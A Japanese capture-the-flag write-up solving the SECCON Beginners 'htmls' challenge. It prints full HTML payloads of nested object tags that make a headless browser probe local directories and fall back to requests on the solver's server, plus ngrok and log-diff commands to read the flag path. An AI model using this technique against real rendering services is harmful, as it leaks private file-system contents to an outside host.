問題
HTMLファイルからlsコマンドを叩ける?
https://htmls.beginners.seccon.games
※負荷軽減のためリクエストにはレート制限がかかっています。総当たりは不要です。サーバはリセットされることがあります。
htmls.tar.gz c99092854643d7a09c59605125b689a80622a570
注目点
まず、flagの作成方法を見る
#!/bin/bash
rm -rf /var/www/htmls/ctf/*
base_path="/var/www/htmls/ctf/"
depth=$((RANDOM % 10 + 15))
current_path="$base_path"
for i in $(seq 1 $depth); do
char=$(printf "%d" $((RANDOM % 36)))
if [[ $char -lt 26 ]]; then
char=$(printf "\\$(printf "%03o" $((char + 97)) )")
else
char=$(printf "%d" $((char - 26)))
fi
current_path+="${char}/"
mkdir -p "$current_path"
done
echo 'ctf4b{*****REDACTED*****}' > "${current_path}flag.txt"
重要なのは、1文字のディレクトリが作成されていること。
0-9, a-z のいずれかの文字で構成されており、 /var/www/htmls/ctf/0/1/2/a/b/c/flag.txt
のようになっていることがわかる。
つぎに、クローリング環境を見る
async def crawl(filename):
async with async_playwright() as p:
browser = await p.chromium.launch()
context = await browser.new_context(java_script_enabled=False)
page = await context.new_page()
await page.goto(f"file:///var/www/htmls/{filename}", timeout=5000)
await browser.close()
JavaScriptは使えず、ページロード後のアクションもない。
この時点で取れる方法は非常に限られてくる。
解法
object ロードのフォールバック
objectタグは任意のリソースをページに読み込ませるタグであるが、階層構造にすることによってフォールバック動作が可能である
参考:https://gist.github.com/mamchenkov/bdbdf812ab48f72ad9c9
<!-- ./ctf/a が存在すれば、./ctf/aのディレクトリリストが表示される -->
<object data="./ctf/a">
<!-- なければ内側が参照され、mywebsiteへのアクセスが始まる -->
<object data="http://mywebsite/fallback/a"></object>
</object>
そのため、0-9, a-z, flag.txt までのすべてのフォールバックパスを用意しておき、全37個中36回だけ飛んでくるリクエストを確認すれば、フォールバックされなかったパス=存在するディレクトリを判別できる。
下記のようなスクリプトを作成
path="" #"q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/l/" のようになっていく
for c in {0..9} {a..z} flag.txt; do echo "<object data=\"./ctf/$path$c\"><object data=\"https://mywebsite/$c\"></object></object>"; done
実行すると、下記のhtmlが出来上がるので、これを提出すればよい。
<object data="./ctf/0"><object data="https://mywebsite/0"></object></object>
<object data="./ctf/1"><object data="https://mywebsite/1"></object></object>
<object data="./ctf/2"><object data="https://mywebsite/2"></object></object>
<object data="./ctf/3"><object data="https://mywebsite/3"></object></object>
<object data="./ctf/4"><object data="https://mywebsite/4"></object></object>
<object data="./ctf/5"><object data="https://mywebsite/5"></object></object>
<object data="./ctf/6"><object data="https://mywebsite/6"></object></object>
<object data="./ctf/7"><object data="https://mywebsite/7"></object></object>
<object data="./ctf/8"><object data="https://mywebsite/8"></object></object>
<object data="./ctf/9"><object data="https://mywebsite/9"></object></object>
<object data="./ctf/a"><object data="https://mywebsite/a"></object></object>
<object data="./ctf/b"><object data="https://mywebsite/b"></object></object>
<object data="./ctf/c"><object data="https://mywebsite/c"></object></object>
<object data="./ctf/d"><object data="https://mywebsite/d"></object></object>
<object data="./ctf/e"><object data="https://mywebsite/e"></object></object>
<object data="./ctf/f"><object data="https://mywebsite/f"></object></object>
<object data="./ctf/g"><object data="https://mywebsite/g"></object></object>
<object data="./ctf/h"><object data="https://mywebsite/h"></object></object>
<object data="./ctf/i"><object data="https://mywebsite/i"></object></object>
<object data="./ctf/j"><object data="https://mywebsite/j"></object></object>
<object data="./ctf/k"><object data="https://mywebsite/k"></object></object>
<object data="./ctf/l"><object data="https://mywebsite/l"></object></object>
<object data="./ctf/m"><object data="https://mywebsite/m"></object></object>
<object data="./ctf/n"><object data="https://mywebsite/n"></object></object>
<object data="./ctf/o"><object data="https://mywebsite/o"></object></object>
<object data="./ctf/p"><object data="https://mywebsite/p"></object></object>
<object data="./ctf/q"><object data="https://mywebsite/q"></object></object>
<object data="./ctf/r"><object data="https://mywebsite/r"></object></object>
<object data="./ctf/s"><object data="https://mywebsite/s"></object></object>
<object data="./ctf/t"><object data="https://mywebsite/t"></object></object>
<object data="./ctf/u"><object data="https://mywebsite/u"></object></object>
<object data="./ctf/v"><object data="https://mywebsite/v"></object></object>
<object data="./ctf/w"><object data="https://mywebsite/w"></object></object>
<object data="./ctf/x"><object data="https://mywebsite/x"></object></object>
<object data="./ctf/y"><object data="https://mywebsite/y"></object></object>
<object data="./ctf/z"><object data="https://mywebsite/z"></object></object>
<object data="./ctf/flag.txt"><object data="https://mywebsite/flag.txt"></object></object>
あとは手持ちのサーバで待ち構えておき、リクエストログを収集
$ ngrok http 8000 # 別タブで走らせておく
$ touch {0..9} {a..z} flag.txt # 200を返しておいたほうがログ処理が楽なので、予めファイルを用意しておく
$ python3 -m http.server |& grep --line-buffered -oP "GET /\w+" > result.txt # リクエストが一通り来たらC-cでサーバを一回止める
先述のhtmlを提出後、すぐ36回のリクエストが飛んでくるので、全37パターンと照合して唯一来ていないものを特定すれば良い
$ diff <(sort result.txt) <(for i in {0..9} {a..f} flag {g..z}; do echo "GET /$i"; done)
22a23
> GET /l
1階層ずつ特定できるため、あとはスクリプトの path を徐々に増やしていき、 flag.txt が見つかるまで繰り返せば良い